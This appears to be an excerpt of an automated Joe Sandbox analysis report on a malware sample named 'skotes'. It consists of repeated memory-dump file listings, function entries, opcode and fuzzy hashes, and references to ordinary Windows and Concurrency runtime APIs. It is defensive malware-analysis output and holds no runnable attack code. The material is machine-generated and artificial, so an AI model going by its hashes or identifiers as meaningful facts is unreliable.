Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 73c68813801de450a3ab1342399ed27586e805e90946c2450176a7e9b33974ae
Instruction ID: 8e51191d50f3f757cd790be834b10e40acf90c82cd29ff2fce657d3dd869bfbb
Opcode Fuzzy Hash: 73c68813801de450a3ab1342399ed27586e805e90946c2450176a7e9b33974ae
Instruction Fuzzy Hash: B9D0923214010DBBDF129E85DC06EDA3BAAFB48714F014100BE1C66020C732E832AF95

Function 00BE6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00BE6CF5

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f6e36cbd804148e8ba1aa2574a92d5b7143c2cf63dcf076adbf038c3acf9e15b
Instruction ID: 370c9a33865fb8efd2fc23292fa0d53ec47164b5603e2eaef9c76ee99e1bbaa8
Opcode Fuzzy Hash: f6e36cbd804148e8ba1aa2574a92d5b7143c2cf63dcf076adbf038c3acf9e15b
Instruction Fuzzy Hash: C6F0F971A10640A7CB117B699C03B0EBBB5EB06760F900398E412673D1EB301A0447D2

Function 05440BCD Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 917be1a2dee4fe447be2ba27fe097b8a2d5a88f6cb0730e00788df383d0d85be
Instruction ID: 2ed073bd6783a21ebf4fc0deb7b94b1f1261d3d341b02eee7ffe97e588a06bd2
Opcode Fuzzy Hash: 917be1a2dee4fe447be2ba27fe097b8a2d5a88f6cb0730e00788df383d0d85be
Instruction Fuzzy Hash: CE0161A708C124FDB14981422B1CAF767BFE6D27313348417FA4BDD501D6990A6B6875

Function 05440AF0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9dddc77e22df5fc63e4f4d0bb034b8f917f7a8650e75d2933d47cfe96463be2
Instruction ID: ee132ec5b74606915520ff41dfdb7858a7c346e72030f6fe216e312ab7bffbd0
Opcode Fuzzy Hash: f9dddc77e22df5fc63e4f4d0bb034b8f917f7a8650e75d2933d47cfe96463be2
Instruction Fuzzy Hash: 22F0F8D66CD1E5BD3082C0D21A1CEF62A1FD0D67783314427BA0F9EA41D2944A6B58BA

Function 05440C41 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231df2d6e16a0de5ee3d54250120b012f86b3ebfbeaf6e843d8a819b07b71a40
Instruction ID: 1739e94be7b37ad2eb4566100f5b2b62612b9e0695da7b11692a3a5198f27629
Opcode Fuzzy Hash: 231df2d6e16a0de5ee3d54250120b012f86b3ebfbeaf6e843d8a819b07b71a40
Instruction Fuzzy Hash: 23F0BEBB0CC220FDB25CD542671D6F66AFBA2913303304507FB4F8D90182590ABB5825

Function 05440C20 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dec7260541c4c402274137dc89226546431bc44a2a524981cb314bdffc00016
Instruction ID: 4fb45bb7f90e1da82981af94905ef053a7f4cad2312b0e72697326557f1ba528
Opcode Fuzzy Hash: 0dec7260541c4c402274137dc89226546431bc44a2a524981cb314bdffc00016
Instruction Fuzzy Hash: 21E06DAB4C8320E9B25DD112271E3F2AAFB77626313200503BB8F5D941569946B76865

Function 05440C59 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2698eb506396ea89f33a9059c13867cfe0ebe419575386e0272f385f358eb0af
Instruction ID: 1c1528d9932403f0b12779d36ad9fda3fd520b714eb6906f6be7cee292374367
Opcode Fuzzy Hash: 2698eb506396ea89f33a9059c13867cfe0ebe419575386e0272f385f358eb0af
Instruction Fuzzy Hash: 88F05CA39CD390D6E3169670214D1F07FF2241313232D88E3C64FCE443D0458167D722

Function 05440C32 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e7a95aaeddeb42844215cd651e5485633fcaf773383bca71e2b3269813ce2e
Instruction ID: 552a802aea22eee32c230ebf307d3f012353470b1030ebfcb411f591a35c353f
Opcode Fuzzy Hash: 55e7a95aaeddeb42844215cd651e5485633fcaf773383bca71e2b3269813ce2e
Instruction Fuzzy Hash: 97E0DFA74CC324E9B25CE612530E3F266FB73A23213200103AB8F8E941425D09F7AC29

Function 05440CB7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3490159802.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5440000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e65d9cbeda0eeda8a64711337e678fc2b73cc45e2af8ceb95cb3bf075f960d
Instruction ID: a38d4ff0fc8ad81058bc66e67306d367deadc82d6ecc8d6d50e5bb0ac554c420
Opcode Fuzzy Hash: a0e65d9cbeda0eeda8a64711337e678fc2b73cc45e2af8ceb95cb3bf075f960d
Instruction Fuzzy Hash: 02B09B374C9414D67058D551251E3F577F575902113D44543E74FCF8408555407BFD61

Non-executed Functions

Function 00BF0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BF0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BF0F62

Part of subcall function 00BF265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00BF2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BF0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BF0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BF103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BF106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BF10C1

Strings

(, xrefs: 00BF0F22

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: cc7e620d30c8e3effd4e90dcd3d2979da5d5d8956008e4bd020305d4e62d7e88
Instruction ID: 6cd3d1c8f5b6decb79f0139e0c99f2c89fe8fa306a0288b4a0c99116cdf5e95f
Opcode Fuzzy Hash: cc7e620d30c8e3effd4e90dcd3d2979da5d5d8956008e4bd020305d4e62d7e88
Instruction Fuzzy Hash: 00B15BB0A10619EFDB28DF68D991B7EB7F4FF44304F1445A9EA05AB291D730AD84CB90

Function 00BF1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BF2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00BF1614

Part of subcall function 00BF2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00BF2E39
Part of subcall function 00BF2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00BF2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00BF1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BF17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BF17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00BF17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BF180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BF181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00BF1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00BF183B

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 282110f1a581ced3bf4684da6b044f93f229e3c34df1811fedda5ff029c6ca03
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 4A8148B1A00629EFCB19DFA8C580A7DB7F1FF48304B158AADD549AB701C770AD56CB84

Function 00BFEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BFEC81

Part of subcall function 00BF8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BF8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BFECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00BFECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00BFED0C

Part of subcall function 00BFE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BFE7D7
Part of subcall function 00BFE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BFE86F
Part of subcall function 00BFE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BFE879
Part of subcall function 00BFE7AF: Concurrency::location::_Assign.LIBCMT ref: 00BFE8AD
Part of subcall function 00BFE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BFE8B5

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
